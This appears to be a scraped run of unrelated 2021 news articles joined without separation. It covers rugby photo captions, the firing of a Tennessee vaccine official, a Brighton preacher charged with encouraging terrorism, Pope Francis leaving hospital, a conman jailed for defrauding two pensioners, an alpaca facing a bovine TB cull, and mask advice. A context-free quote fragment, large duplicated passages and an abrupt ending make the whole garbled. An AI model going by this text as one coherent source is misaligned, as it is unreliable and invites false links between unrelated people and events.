Hamiso Tabuai-Fidow of the Maroons celebrates with Daly Cherry-Evans, Dane Gagai and Kalyn Ponga after scoring a try during game three of the 2021 State of Origin Series

Players scuffle after a Blues error by Angus Crichton during game three of the 2021 State of Origin Series

Isaah Yeo of the Blues is tackled during game three of the 2021 State of Origin Series by a host of Maroons players

'It's things you can't put a price on,' she said.

'Because I did most of my singing before they were born, they don't have that many memories of me singing.

'So to be able to give that to them for the rest of their life would be just incredible.'
She cited Tennessee's mature minor doctrine, which has been in law since 1987

It gave information allowing teens over 14 to get jab without parental permission

It comes after she published a letter supporting teenagers getting a Covid-19 jab

Tennessee's top vaccination official has been fired over a published memo supporting children over the age of 14 getting a COVID-19 vaccine without parental permission, the furious physician said.

Dr Michelle Fiscus said she was presented with a letter of resignation and a letter of termination on Monday amid scrutiny from Republican state lawmakers over her department's outreach efforts to vaccinate teenagers against the virus.

Fiscus, who was the medical director for vaccine-preventable diseases and immunization programs at the Tennessee Department of Health, chose to be fired and said she was not given a reason for her ouster.

But the expert added that she believes her termination came because she sent out information on May 10 about the mature minor doctrine, according to News Channel 5.

Dr Michelle Fiscus was fired Monday after she published a memo supporting teenagers over the age of 14 getting a Covid-19 vaccine without parental permission

'I was told that I should have been more "politically aware" and that I "poked the bear" when I sent a memo to medical providers clarifying a 34-year-old Tennessee Supreme Court ruling,' Fiscus said. 'I am not a political operative, I am a physician who was, until today, charged with protecting the people of Tennessee, including its children, against preventable diseases like COVID-19.'

The doctrine is a rule of law in the US and Canada arguing that an unemancipated minor may have the maturity to choose or reject health care treatment without the knowledge of their parents, and should be allowed to do so.

Tennessee Republican Gov. Bill Lee's administration and the Health Department declined to comment on the firing, citing personnel matters.

In a June committee meeting, Republican lawmakers criticized the letter that she was told had been 'blessed by the governor's office'.

The firing of Fiscus comes amid scrutiny from Republican state lawmakers over her department's efforts to vaccinate teenagers against COVID-19. Pictured: Boy, 12, is given COVID jab on May 13

Tennessee has one of the lowest vaccination rates in the country. Only 38 percent of the state's nearly 7 million residents are fully vaccinated against COVID-19.

Republican lawmakers also admonished her agency for its communications about the vaccine, including online posts.

One graphic, featuring a photo of a smiling child with a Band-Aid on his arm, said: 'Tennesseans 12+ are eligible for vaccines. Give COVID-19 vaccines a shot.'

During the hearing, Republican Rep. Scott Cepicky held a printout of a Facebook ad touting eligibility for teens and called the agency's advocacy 'reprehensible,' likening it to peer pressure.

Asked about the hearing last month, Gov. Lee said generally that the state will 'continue to encourage folks to seek access - adults for their children, and adults for themselves to make the personal choice for vaccine'.

WHAT IS THE MATURE MINOR DOCTRINE? Mature minor doctrine is a legal principle which allows a minor to make decisions about his or her health and welfare, if they can show that they are mature enough to make a decision on their own. This prevents the usual necessity for parental consent from becoming a barrier to treatment about which children may be reluctant to inform parents. Not all states recognize the common-law mature-minor doctrine. In the states where it exists, the mature minor doctrine takes into consideration the age and situation of the minor to determine maturity, in addition to factors and conduct that can prove maturity. This doctrine has been consistently applied in cases where the minor is sixteen years or older, understands the medical procedure in question, and the procedure is not serious. Application of the doctrine in other circumstances is more questionable. Source: US Legal Advertisement

Two weeks after the hearing, the Health Department told county-level employees to stop vaccination events aimed at teens and to halt online outreach to them, The Tennessean reported, citing emails it obtained.

Fiscus said that issues on vaccine communication first arose last fall, before the shots were federally authorized.

She said health officials asked for permission to start messaging about how COVID vaccines would be safe, effective and well-studied - which was denied.

The governor's office then controlled communication, while Fiscus added that the state's public messaging began this May.

'When the vaccines did finally become available, the messaging that came from the governor's communication team was, 'Talk to your doctor to see if COVID-19 vaccine is right for you',' Fiscus said.

'We tried to explain that this is not a foot powder. This is the life-saving tool that we have to fight this pandemic and that we should be strongly encouraging people to get vaccinated.'

Following the scrutiny from Republican state lawmakers, Fiscus said she was given both a resignation letter and a termination letter on Monday, but chose to be fired claiming she 'didn't do anything wrong'.

Fiscus then penned a blistering 1,200-word response to the decision in which she fumed that she is ashamed of Tennessee's leaders and afraid for her state.

'I don't think they realized how much of an advocate I am for public health and how intolerant of injustice I am,' Fiscus told The Associated Press on Tuesday.

She said she was 'angry for the amazing people of the Tennessee Department of Health who have been mistreated by an uneducated public and leaders who have only their own interests in mind.'

Fiscus also claimed that the Tennessee Department of Health has halted all outreach efforts around any kind of vaccines for children, not just COVID ones, which confirmed through department documents.

The decision to end vaccine outreach and school events came from Health Commissioner Dr Lisa Piercey, according to the publication.

The Health Department will still send postcards reminding adults to get their second dose of the COVID vaccine, but teenagers will be excluded from the mailing list so it is not interpreted as 'solicitation to minors'.



Tennessee's health department reportedly told county-level employees to stop vaccination events aimed at teenagers. Pictured: Woman is given COVID vaccine July 9 in Los Angeles

Some Democrats criticized the firing, with state Sen. Raumesh Akbari alleging that Fiscus was 'sacrificed in favor of anti-vaccine ideology.'

House Speaker Cameron Sexton was one of few Republicans to weigh in, saying through a spokesperson that health officials made the decision internally.

Sexton's spokesperson, Doug Kufner, said: 'While members have expressed concerns about the department's recent vaccine marketing strategy, Speaker Sexton will not speculate on the factors that went into this decision.

'However, Speaker Sexton does believe that those who have voiced their dissent agree with yesterday's outcome.'

Meanwhile, Republican state Sen. Richard Briggs, a physician, said he's unsure why Fiscus got fired, but added that 'it would be wrong if the reason for her firing was because she had a campaign to try to get our children vaccinated'.

He said he doesn't want to second-guess the department, but 'because of the way it at least looks superficially without the details being known, there probably needs to be some clarification'.
A former mosque leader from Brighton is suspected of giving a speech in front of young children saying armed conflict and violence was their 'religious obligation', a court heard.

Abu Bakr Deghayes is charged with encouraging terrorism by saying 'Jihad is compulsory' at evening prayers and making stabbing motions.

The 53-year-old allegedly told the congregation that 'scholars fought the enemies of Allah'.

Prosecutors allege Deghayes encouraged violence through a 20-minute speech at the mosque in Brighton, East Sussex, last November during evening prayers at around 8pm.

He faces a starting point of four years in prison if found guilty of the alleged offences, the court heard.

Deghayes was charged on suspicion of encouraging the commission, preparation or instigation of acts of terrorism.

Abu Bakr Deghayes, 53, was charged following an investigation relating to Islamist terrorism

At Westminster Magistrates' Court today, Deghayes appeared in the dock and entered a not guilty plea after being charged by Counter Terrorism Policing South East (CTPSE) and Sussex Police yesterday.

It was put to him in a court indictment that on November 1 last year he published statements, namely giving a speech, present at evening prayers at Dyke Road Mosque in Brighton.

It is said he intended or was reckless as to whether members of the public would be directly or indirectly encouraged to prepare or instigate acts of terrorism, the charge states.

Prosecutor Simon Drew said: 'At Brighton Mosque on November 1 after evening prayers Mr Deghayes, uninvited, gave a speech to all who was present - that includes some children and young adults.

'Within that speech he instructs those present that armed conflict was their religious obligation.'

Mr Deghayes had previously been a leader at al-Quds mosque in Brighton, pictured here

He added: 'The speech is approximately 20 minutes long. The relevant section comes near the end. It's the culmination of the speech.

'Within that speech, Mr Deghayes quotes an important scholar in an attempt to draw meaning from that scholar and to bring theological legitimacy to his speech.

'He says that scholars fought the enemies of Allah. He then addresses the congregation and says Jihad is compulsory on you and repeats that several times.

'He says Jihad is by the sword and as he says that he makes a stabbing motion.

'It's the combination of those words that are quite clear and deliberately used that forms the encouraging terrorism charge.'

Thomas Wainwright, defending, said Deghayes did not intend to encourage violence with his speech and that he had been misunderstood.

He told the court: 'This will be contested at trial. Mr Deghayes says there was no intention to encourage violence or terrorism and he did not see any risk that it would be taken that way. The words have been misunderstood.'

Deghayes, from Saltdean near Brighton, who appeared in court in person, was granted conditional bail by Deputy Chief Magistrate Tan Ikram.

The defendant was told that he must next appear at the Old Bailey for a preliminary hearing in August.

Mr Deghayes was previously a leader at al-Quds mosque in Brighton.
Pope Francis has left hospital ten days after undergoing planned surgery to remove half his colon.

The pontiff, 84, sat in the passenger seat of a car which took him from Rome's Gemelli Polytechnic hospital to the Vatican on Wednesday morning.

He stepped out of the Ford with the help of a bodyguard and greeted his police escorts and Italian security guards before entering the Vatican through the Perugino gate.

He made a stop to pray at Rome's Santa Maria Maggiore basilica, which has a beloved icon of the Virgin Mary which Francis always visits after returning home from a foreign trip.

Francis had half of his colon removed after a severe narrowing of his large intestine on July 4, his first major surgery since he became pope in 2013.

Pope Francis has left hospital ten days after undergoing planned surgery to remove half his colon

The 84-year-old appeared in good spirits as he stepped out of the car and greeted his escorts and guards

He stepped out of the Ford with the help of a bodyguard during the journey from the hospital to the Vatican

He was earlier seen in the passenger seat of a car which took him from Rome's Gemelli Polytechnic hospital to the Vatican

Francis had half of his colon removed after a severe narrowing of his large intestine on July 4, his first major surgery since he became pope in 2013

After leaving the hospital, the Pope sat and prayed in front of the icon of the Virgin Mary in the Basilica di Santa Maria Maggiore

It was a planned procedure, scheduled for early July when the pope's audiences are suspended and Francis would normally take time off.

Francis will have several more weeks to recover before beginning to travel again in September.

There are plans for him to visit Hungary and Slovakia in a September 12-15 trip, and then make a quick stop in Glasgow, Scotland, in November to participate in the COP26 climate conference. Other possible trips are also under review.

The Vatican spokesman, Matteo Bruni, confirmed Francis' return from the hospital and visit to the Rome basilica.

Praying before the icon, Francis 'expressed his gratitude for the success of his surgery and offered a prayer for all the sick, especially those he had met during his stay in hospital,' Bruni said in the statement.

The Vatican had originally said Francis could be discharged last weekend, but later said he would stay a few days extra for further recovery and rehabilitation therapy.

Nurses of the Agostino Gemelli Polyclinic hold a banner reading: 'Bye Francis, we need to talk to you, we love you'

It was a planned procedure, scheduled for early July when the pope's audiences are suspended and Francis would normally take time off

Pope Francis stops to greet police that escorted him as he arrives at the Vatican after leaving the hospital

The pope appeared for the first time in public since the surgery on Sunday, looking in good form as he delivered his weekly prayer from the 10th floor hospital balcony, surrounded by young cancer patients.

He used the occasion to call for free health care for all.

On Tuesday afternoon, the eve of his release, he visited the pediatric cancer ward, which is located on the same floor as the papal hospital suite.

The Argentine pope had part of one lung removed when he was a young man but has otherwise enjoyed relatively robust health.

Francis will have several more weeks to recover before beginning to travel again in September

On Sunday, the Pope stood for 10 minutes greeting well-wishers at noon on what would have been the time he traditionally appears from a window at the Vatican overlooking St Peter's Square.

Reading from prepared remarks, he told the crowds: 'I thank everyone. I very much felt your closeness and the support of your prayers.'

He described his hospital admission as an opportunity to understand the importance of a 'good health service, accessible to all, as it is in Italy and other countries.

'We mustn't lose this precious thing.'

Francis, pictured on Sunday, had half of his colon removed for a severe narrowing of his large intestine on July 4

Similar to the NHS, Italy has a national public health service, and residents can often receive treatment at private hospitals, with the costs reimbursed by the government.

He also took the time on Sunday to talk about current events.

He reiterated his closeness to Haiti, recalling the assassination of its president Jovenel Moise and wounding of the first lady Martine Moise last week.

Francis also spoke about the environment, which has been a major theme of his papacy since it began in 2013.

He urged people to look after 'the health of seas and oceans' and said 'no plastic in the sea!'

He stood for 10 minutes greeting well-wishers at noon on what would have been the hour when he traditionally appears from a window at the Vatican overlooking St Peter's Square

He also voiced hope that 'Europe may be united in its founding values'.

It could be a possible reference to tensions between EU leaders and Hungary over LGBTQ rights crackdowns.

The new law is ostensibly designed to crack down on paedophilia, but critics say the law dangerously conflates paedophilia with homosexuality and stigmatises support for the LGBTQ+ community.

The law prohibits the sharing of any content portraying homosexuality or sex reassignment to children under-18 in school sex education programs, films and advertisements.
Sammy Kimmence, pictured, wept from the dock in Portsmouth today as he was jailed for 42 months

Relatives of pensioners scammed out of thousands of pounds by Dani Dyer's boyfriend today described him as 'a scumbag who got everything he deserved' as he was jailed for more than three years.

Sammy Kimmence wept this morning as he was sent down for duping Peter Martin, 91, and Peter Haynes, 81, into giving him 34,000 by posing as a financial investor.

The 25-year-old conman persuaded the vulnerable pensioners to let him invest their money for them and then splashed out on expensive restaurants, hotels, clothes and even a personalised number plate for his Mercedes.

Kimmence's victims had been clients of his when he worked as Senior Trader at Equine Global Sports Limited, a company which subsequently went into liquidation.

The company received money from customers which it would use to place bets on horse races, on their behalf.

After this company ceased trading, Kimmence contacted two of his elderly former clients and pretended he would continue investing their money in the same way, but instead used it to fund his lavish lifestyle, leaving one victim 'living on the breadline'.

Mr Martin, who lived in Havant, Hampshire, died in November last year aged 91 while Mr Haynes suffers from Alzheimer's.

Today Kimmence, of Rayleigh, Essex, who had denied all the charges before a last minute change of plea, was sent to prison for five counts of fraud, totalling 33,919.

Standing in the dock at Portsmouth Crown Court, Hants, Kimmence, dressed in a black suit, spoke only to confirm his name before sobbing during the hearing as his dishonesty was outlined and he was jailed for three-and-a-half years.

Prosecutors said Kimmence 'groomed' his elderly victims, likening his fraud to 'a fox getting a key to the chicken pen' and said Mr Martin had considered the conman 'a friend right up until he died.'

While the hearing was ongoing today, Ms Dyer, who shot to fame on the ITV2 reality show, documented her holiday plans with son Santiago on Instagram, failing to acknowledge the legal drama in any way.

Sharing videos with her 3.4m followers, she marvelled at the amount of space the tot, seven months, was taking up before discussing his weaning - however didn't mention her partner's sentencing which was happening during her filming.

It came as the brother of one of Kimmence's victims today described the conman as 'a scumbag who deserves no sympathy'.

Love Island star Dani Dyer's boyfriend Sammy Kimmence arrives at court this morning after admitting scamming two elderly men out of 34,000 by posing as a financial investor

Left, Peter Martin died penniless and with 'barely enough money to eat' after being scammed out of his life savings. Right, Peter Haynes, who has Alzheimer's

He is in a relationship with Love Island star Dani Dyer, with whom they have a son, Santiago, pictured together

Dani Dyer failed to acknowledge her boyfriend Sammy Kimmence's legal dramas as she packed for a holiday with their son on Wednesday

The model is the daughter of EastEnders actor Danny Dyer, pictured above with the couple

Dani Dyer shot to fame on Love Island in 2018, winning the ITV2 show with Jack Fincham

Conman branded 'a scumbag who deserves no sympathy' by victim's brother The brother of one of the victims of Dani Dyer's boyfriend welcome his prison sentence saying: 'He is a scumbag who deserves no sympathy.' Sammy Kimmence wept in court as he was jailed for three and half years for scamming two elderly men out of their life savings. Brian Martin, whose elder brother Peter was one of the victims, told MailOnline he had nothing but contempt for Kimmence. He said: 'This man got everything he deserved, and I am glad that he is now in prison and will not be able to ruin any more lives. 'What he did was despicable. And as for his tears in court, they were just crocodile tears. His only concern was for himself.' Brian, 87, told how last time he saw his 91-year-old brother he was a broken man having had his life savings stolen by Kimmence. 'He barely had enough money to eat. All of his money had been taken and he was in a lot of debt. He was just living month to month. 'He was a very quiet, private man and did not want to talk about what happened. Peter did not tell me what had happened as he would have been too embarrassed. He just suffered in silence. 'I remember being so shocked the last time I saw him when he came to our house. 'He was very frail and I think just so embarrassed by the situation he found himself in. He lived on his own and so fell for everything this man said. He trusted him. 'I do believe the stress of it all was in someway to blame for his death. I know he would have liked to have been here to see Kimmence sent to jail.' Brian, from Portsmouth, Hampshire, said they had decided not to attend the trial as they found it too traumatic. They were telephoned by the detective in charge of the case this morning to tell them Kimmence was given a 42 month jail term. Brian said:' To take advantage of such an elderly man is despicable. I think the term scumbag would be appropriate. 'He only had one thought and that was to take as much money as he could. 'I feel sorry for his partner Dani Dyer and his son. They are blameless in this and I hope they will not be tarnished by his crimes. Advertisement

Brian Martin, whose elder brother Peter was one of the victims, told MailOnline he had nothing but contempt for Kimmence.

He said: 'This man got everything he deserved, and I am glad that he is now in prison and will not be able to ruin any more lives.

'What he did was despicable. And as for his tears in court, they were just crocodile tears. His only concern was for himself.'

Brian, 87, told how last time he saw his 91-year-old brother he was a broken man having had his life savings stolen by Kimmence.

'He barely had enough money to eat. All of his money had been taken and he was in a lot of debt. He was just living month to month.

'He was a very quiet, private man and did not want to talk about what happened. Peter did not tell me what had happened as he would have been too embarrassed. He just suffered in silence.

'I remember being so shocked the last time I saw him when he came to our house.

'He was very frail and I think just so embarrassed by the situation he found himself in. He lived on his own and so fell for everything this man said. He trusted him.

'I do believe the stress of it all was in someway to blame for his death. I know he would have liked to have been here to see Kimmence sent to jail.'

Brian, from Portsmouth, Hampshire, said they had decided not to attend the trial as they found it too traumatic.

They were telephoned by the detective in charge of the case this morning to tell them Kimmence was given a 42 month jail term.

Brian said: 'To take advantage of such an elderly man is despicable. I think the term scumbag would be appropriate.

'He only had one thought and that was to take as much money as he could.

'I feel sorry for his partner Dani Dyer and his son. They are blameless in this and I hope they will not be tarnished by his crimes.'

Prosecutor Mike Mason said: 'This was a very unpleasant fraud against two men who Mr Kimmence deliberately targeted. He targeted them because they were old, they were vulnerable and somewhat isolated.

'This wasn't something he migrated into from a friendship. This was something he planned.'

The court heard Kimmence travelled to visit Mr Haynes and Mr Martin at their homes several times as he 'groomed them'.

Documents sent to the victims by Kimmence included fake company names and an 'entirely fabricated' Gambling Commission number.

These were riddled with errors, including 'miscalculated balances' and a misspelling of Kimmence's own name.

Mr Mason said these letters demonstrated 'some pre-thinking' as the letters 'set these men up to believe this was an established, credible business'.

Kimmence convinced Mr Martin to give him his internet banking password, credit card and bank card.

Mr Mason said: 'In other words he ceded financial control to Mr Kimmence. It is akin to the fox getting a key to the chicken pen.

'Mr Martin considered him a friend right up until he died, which tells us a little about the energy he put in to grooming these old men.'

Mr Martin's money was used by Kimmence on holiday in Ibiza, in an Essex nightclub and to shop at Waitrose as well as paying car payments for his flashy Mercedes A-class with a personalised number plate.

His statement was read out in court, which said: 'I have been left at times very stressed over having now given 1,000s to Sammy, who I thought was investing it for me.

'This whole process with Sammy has affected my trust in people.'

The delayed sentencing had meant the defendant was able to celebrate Father's Day with the Love Island star (pictured together) and their son, Santiago

The 25-year-old made a last-minute change to plead guilty in April and was due to be sentenced last month, before his case was adjourned

'I'm an awful human being': Kimmence sends grovelling letter offering to repay victims - after one dies Kimmence sent a grovelling letter to the judge before he was sentenced in which he apologised for being an 'awful human being'. The conman claimed he was a 'completely different person' and was 'driven by ego' when he targeted his two elderly victims. The letter read: 'I would like to begin by apologising firstly for even having to write this letter to you. The crime I committed years ago was totally unacceptable and I take full responsibility for my actions which have led me to where I am now. 'When these crimes were committed, I was a completely different person, I was a youngster, driven by ego, opinions and looking like something I wasn't. 'I looked up to people who I believed were successful which in reality they were far from it [sic]. 'I understand that nothing will ever be able to justify my actions but what I can tell you is that I have come a long way from the person I was. 'I cannot erase the memory of how much of an awful human being I was, I can only learn from it which I feel like I have done over the years. 'I understand the impact that my actions have had, not only financially but emotionally, and the detriment that this has had on both Mr Haynes and Mr Martin and their families as well. 'Recently becoming a father myself, I now realise how much of an impact this can have not only one person [sic] but a family unit as a whole and I am ashamed to have put those families through everything that I have. For this, I am truly sorry. 'I have since been saving up money in order to repay all the monies lost to both Mr Haynes and Mr Martin, which I fully intend to do.' Advertisement

The court heard that, five days after Kimmence was arrested, he messaged Mr Martin to say 'stop the investigation'.

Mr Haynes, who had a career in the RAF before his retirement, said in a statement: 'In one go all the savings I have accrued over my working life were wiped out. My bank account shows zero.

'I have been sick with worry at my situation and have lost a lot of weight from stress and worry.

'It is no exaggeration to say I was left living on the breadline because of his actions and dishonesty.'

Mitigating, Craig Harris said Kimmence had been 'lambasted in the press and on social media' because 'His girlfriend, through no fault of his own, is relatively well known through social media and TV programmes'.

But Judge Timothy Mousley QC gave him 30 months imprisonment for his duping of Mr Martin and 12 months for the fraud against Mr Haynes. He must serve at least half of that sentence.

He said: 'You defrauded two men of significant sums of money, both were elderly gentlemen, neither was a wealthy man.

'Whilst these men trusted you, you used their money to fund your lifestyle.

'This was a significant abuse of trust.'

The court heard Kimmence, who announced the birth of his and Dyer's baby son Santiago in January, used one of his victims' bank cards to withdraw more than 1,200 for himself and also racked up credit card charges of more than 1,300.

He also admitted to getting Mr Martin to transfer him 22,912 on one occasion, and 400 on another.

He conned Mr Haynes in a similar way to the tune of 7,927.

The court previously heard how Mr Haynes was diagnosed with Alzheimer's last year and has moved from Okehampton, Devon, to live closer to his daughter in Leeds.

Simon Clark, CPS Wessex Senior Crown Prosecutor, said: 'Kimmence acted despicably when he duped his former clients in to believing that he had set up a new company with which they could safely invest their money.

'The CPS used witness statements, financial records, receipts and mobile phone evidence to prove that Kimmence had not invested a single penny of the thousands of pounds he had fraudulently obtained from his victims.'

Dani Dyer, who is the daughter of EastEnders star Danny Dyer, shot to fame on Love Island in 2018

Before, Dyer had been in a relationship with Kimmence but struck up a relationship with Jack Fincham in the villa before going on to win the popular reality show

Dani Dyer, who is the daughter of EastEnders star Danny Dyer, shot to fame on Love Island in 2018.

Before, she had been in a relationship with Kimmence but struck up a relationship with Jack Fincham in the villa before going on to win the popular reality show.

The 24 year old rekindled her romance with Kimmence shortly after and there have been rumours that the pair may be getting married in the near future.

Dani Dyer ignores her partner Sammy Kimmence's legal woes while packing for a holiday with their son Santi... as the sobbing conman is JAILED

Dani Dyer failed to acknowledge her boyfriend Sammy Kimmence's legal dramas as she packed for a holiday with their son on Wednesday.

While the Love Island star, 24, was documenting her holiday preparation on Instagram, her boyfriend was weeping as he was jailed for more than three years for scamming two elderly men out of 34,000 by posing as a financial investor.

Sharing videos with her 3.4m followers, Dani marvelled at the amount of space the tot, seven months, was taking up before discussing his weaning - however failed to address Sammy's legal woes which were happening during her filming.

Going away: Dani Dyer failed to acknowledge her boyfriend Sammy Kimmence's legal dramas as she packed for a holiday with their son on Wednesday

Dani shared videos of her washbag sitting among her packing and added a caption reading: 'Holiday packing and Santi's stuff takes up most of the room already. I overpack as it is but with a baby OMG!'

She went on to share an incredibly sweet video of Santi playing on a mat and looking at a mirror before sharing her video about his eating.

Her sweet videos came during Sammy's hearing, where he was seen sobbing when he found out of his lengthy jail stint following his deception.

Sammy, 25, duped Peter Martin, 91, and Peter Haynes, 81, by persuading the vulnerable pensioners to let him to invest their money for them and then splashed out on expensive restaurants, hotels and clothes.

Heading off: While the Love Island star, 24, was documenting her holiday preparation on Instagram, her boyfriend was weeping as he was jailed for more than three years for scamming two elderly men out of 34,000 by posing as a financial investor

Packing up: Dani shared videos of her washbag sitting among her packing and added a caption reading: 'Holiday packing and Santi's stuff takes up most of the room already. I overpack as it is but with a baby OMG!'

His victims had been clients of Sammy when he worked as Senior Trader at Equine Global Sports Limited, a company which subsequently went into liquidation.

The company received money from customers which it would use to place bets on horse races, on their behalf.

After this company ceased trading, he contacted two of his elderly clients and pretended he would continue investing their money in the same way, but instead used it to fund his lifestyle, paying for restaurants and booking a hotel in Ibiza.

He also spent their cash in nightclubs and on a personalised number plate for his Mercedes, leaving one victim 'living on the breadline'.

Mr Martin, who lived in Havant, Hants, died in November last year aged 91 while Mr Haynes suffers from Alzheimer's.

Sweet: Santi was born in January. Dani has not specified where they are going on holiday

On Wednesday, Sammy, of Rayleigh, Essex, who had denied all the charges before a last minute change of plea, was sent to prison for five counts of fraud, totalling 33,919.

Standing in the dock at Portsmouth Crown Court, Hants, Sammy, dressed in a black suit, spoke only to confirm his name before sobbing during the hearing as his dishonesty was outlined and he was jailed for three-and-a-half years.

Prosecutors said Sammy 'groomed' his elderly victims, likening his fraud to 'a fox getting a key to the chicken pen' and said Mr Martin had considered 'him a friend right up until he died.'

Prosecutor Mike Mason said: 'This was a very unpleasant fraud against two men who Mr Kimmence deliberately targeted...

Tough times: Dani is the daughter of Danny Dyer and shot to fame on Love Island in 2018

'He targeted them because they were old, they were vulnerable and somewhat isolated. This wasn't something he migrated into from a friendship. This was something he planned.'

The court heard Sammy travelled to visit Mr Haynes and Mr Martin at their homes several times as he 'groomed them'. Documents sent to the victims by Sammy included fake company names and an 'entirely fabricated' Gambling Commission number.

These were riddled with errors, including 'miscalculated balances' and a misspelling of Sammy's own name.

Mr Mason said these letters demonstrated 'some pre-thinking' as the letters 'set these men up to believe this was an established, credible business'.

Tough times: The court heard Sammy travelled to visit Mr Haynes and Mr Martin at their homes several times as he 'groomed them'. Documents sent to the victims by Sammy included fake company names and an 'entirely fabricated' Gambling Commission number

Sammy convinced Mr Martin to give him his internet banking password, credit card and bank card.

Mr Mason said: 'In other words he ceded financial control to Mr Kimmence. It is akin to the fox getting a key to the chicken pen. Mr Martin considered him a friend right up until he died, which tells us a little about the energy he put in to grooming these old men.'

Mr Martin's money was used by Sammy on holiday in Ibiza, in an Essex nightclub and to shop at Waitrose as well as paying car payments for his flashy Mercedes A-class with a personalised number plate.

His statement was read out in court, which said: 'I have been left at times very stressed over having now given 1,000s to Sammy, who I thought was investing it for me. This whole process with Sammy has affected my trust in people.'

Dani is the daughter of Danny Dyer and shot to fame on Love Island in 2018.

Before the show, she had been in a relationship with Sammy but struck up a relationship with Jack Fincham in the villa before going on to win the reality show.

She rekindled her romance with Sammy shortly after and there have been rumours that the pair may be getting married in the near future.
A farmer will make a last-ditch attempt to save her beloved 15,000 alpaca who was sentenced to die for contracting bovine TB four years ago.

Helen Macdonald's alpaca Geronimo was ordered to be slaughtered after twice testing positive for bovine tuberculosis (bTb) at her Wickwar, Gloucestershire, farm in 2017.

She has always disputed the test result - claiming The Department for the Environment, Food and Rural Affairs (Defra) is 'relying doggedly on flawed science'.

Helen Macdonald's alpaca Geronimo (pictured with the animal) was ordered to be slaughtered after twice testing positive for bovine tuberculosis (bTb) at her Wickwar, Gloucestershire, farm in 2017

The department fears the disease could be passed to animals or humans and has ordered the farmer to isolate Geronimo (pictured) in a specially constructed solo pen

The four-year legal battle to save death-row alpaca Geronimo August 2017 - Geronimo first tests positive for bovine tuberculosis at Helen Macdonald's Wickwar, Gloucestershire, farm November 2017 - Another test confirms Geronimo's diagnosis and Defra orders his culling. But Ms Macdonald refuses July 2018 - Then-farming minister George Eustice writes to Miss Macdonald to say he had 'reluctantly concluded that the decision to slaughter Geronimo compulsorily must stand' July 2018 - Defra lawyers write to Ms Macdonald warning they will take her to court to get a warrant to go to her farm and kill the animal He added: 'It is the right decision in terms of the Government's responsibility for controlling this terrible disease' August 2018 - Ms Macdonald accuses officials of mounting a campaign of 'bullying and intimidation' that has left her suffering anxiety August 2018 - Ms Macdonald sends Defra a legal letter setting out how she would launch a judicial review unless the alpaca is re-tested August 2018 - That same month, Mr Eustice refuses another test, saying to Ms Macdonald: 'The evidence that he is infected is substantial' March 2019 - Ms Macdonald took the third test issue to court July 2019 - Ms Macdonald loses her bid for further testing. Mr Justice Murray ruled there was no 'compelling evidence' that the decision not to re-test Geronimo was unlawful July 2019 - That same month, Ms Macdonald announces she will go to the Court of Appeal in a bid to overturn the death sentence - but she does not yet have confirmation that Geronimo won't be killed before a hearing date is set January 2020 - Ms Macdonald writes to Environment Secretary Theresa Villiers. She states: 'I have written to Theresa Villiers asking her to review Geronimo's case and to consent to a meeting with me as a matter of urgency. 'We hope that, unlike her predecessor, Ms Villiers will accept that there is no scientific foundation for suspecting bTB in our perfectly healthy boy, whose excellent health an expert camelid vet confirmed following a full non-invasive clinical examination of Geronimo just last month.' She was able to crowdfund 10,000 in legal fees to fund her High Court bid. December 2020 - The Animal and Plant Health Agency (APHA) applies to Bristol Magistrates Court for a warrant to gain entry to slaughter Geronimo June 2021 - The APHA are granted a warrant of entry to slaughter Geronimo from June 29 - for 30 days. Ms Macdonald seeks to appeal the Magistrate Courts decision and - on June 18 - both parties were informed that the High Court appeal will go ahead July 2021 - Ms Macdonald takes out an emergency injunction to prevent Geronimo from being killed before the appeal hearing on July 29 Advertisement

The department fears the disease could be passed to animals or humans and has ordered the farmer to isolate Geronimo in a specially constructed solo pen.

Now, Ms Macdonald, 48, has taken out an emergency injunction to delay a warrant to cull the animal before an appeal hearing on July 29.

She was able to crowdfund 10,000 in legal fees to fund her latest High Court bid.

Defra said it was 'inappropriate to comment' given legal proceedings.

Registered veterinary nurse Ms Macdonald told the BBC: 'If I lose the appeal then Geronimo will be shot. It's certainly looking that way at the moment.

'I know we have to eradicate TB but we don't have to kill a healthy animal.'

The High Court ruled in June 2019 that the then-six-year-old animal should be put down.

But Ms Macdonald disputed their ruling, claiming Geronimo had not displayed any 'clinical signs' of bTB in two years.

One month later, she announced she was set to appeal - giving her much loved pet a stay of execution.

But, in December 2020, the Animal and Plant Health Agency (APHA) applied to Bristol Magistrates Court for a warrant to gain entry to slaughter Geronimo before the appeal date was set.

Ms Macdonald was forced to take out an emergency injunction to prevent Geronimo from being killed before the appeal could be concluded.

A date for the appeal hearing was subsequently set for July 29.

Geronimo tested positive as part of a national surveillance scheme to check for bovine TB at Ms Macdonald's farm in August 2017.

Another test in November confirmed that Geronimo contracted the disease.

Since the first test, Ms Macdonald has not been able to trade livestock or receive income from it due to Government restrictions.

She uses her herd to make luxury products including scarves and pashminas at her farm.

The Environment Secretary can order the slaughter of a herd of alpacas if there is a suspected outbreak of the disease.

Regular testing of the animals is not mandatory. Tests cannot be carried out without permission from the Defra's secretary.

After announcing her appeal in 2019, Ms Macdonald said in a statement: 'Unless the Court's decision is successfully appealed, Geronimo will soon be slaughtered.

'We believe that, apart from the two highly questionable test results (based on tests prior to which Geronimo was primed multiple times with tuberculin), all of the evidence indicates that Geronimo is not infected with bTB.'

Ms Macdonald believes the first test came back with a false positive because he had been injected with tuberculin as part of skin tests conducted just before he left New Zealand.

The second test came weeks after he was given another dose of the drug.

'Geronimo still displays no clinical signs of bTB, nor do the other alpacas that have been held in isolation with Geronimo for the last two years.

'It is part of my duty of care as an owner and my right to expect fair treatment from my government that Geronimo is tested correctly.

'I am also deeply concerned that the High Court's decision may have very negative implications for the voluntary surveillance testing of camelids for bTB in this country.

'This is why we continue the fight by making our application to the Court of Appeal.'
Professor Dame Sarah Gilbert, who helped develop the AstraZeneca jab, said wearing a face covering to protect other people in indoor settings is 'a sign of respect'

Vaccines and masks are the best way to protect ourselves after 'Freedom Day' on Monday, one of the scientists behind the Oxford University Covid vaccine claimed today.

Professor Dame Sarah Gilbert, one of the brains behind the AstraZeneca jab, said wearing a covering in crowded indoor settings was 'a sign of respect'.

She admitted masks do little to protect the wearer, but claimed they may prevent some people from passing the virus onto others.

Dame Sarah said she will follow Professor Chris Whitty's advice to continue to wear masks when they are no longer a legal requirement next week.

Her comments come amid fears that mask-wearing etiquette could spark a culture war post 'Freedom Day' on Monday.

Ministers and scientific advisers are still encouraging people to don a mask in crowded spaces where the risk of Covid is higher - such as on trains or busy shops.

Adding to confusion, London Mayor Sadiq Khan this morning revealed that face coverings will still be compulsory on the Tube, buses and taxis in the capital.

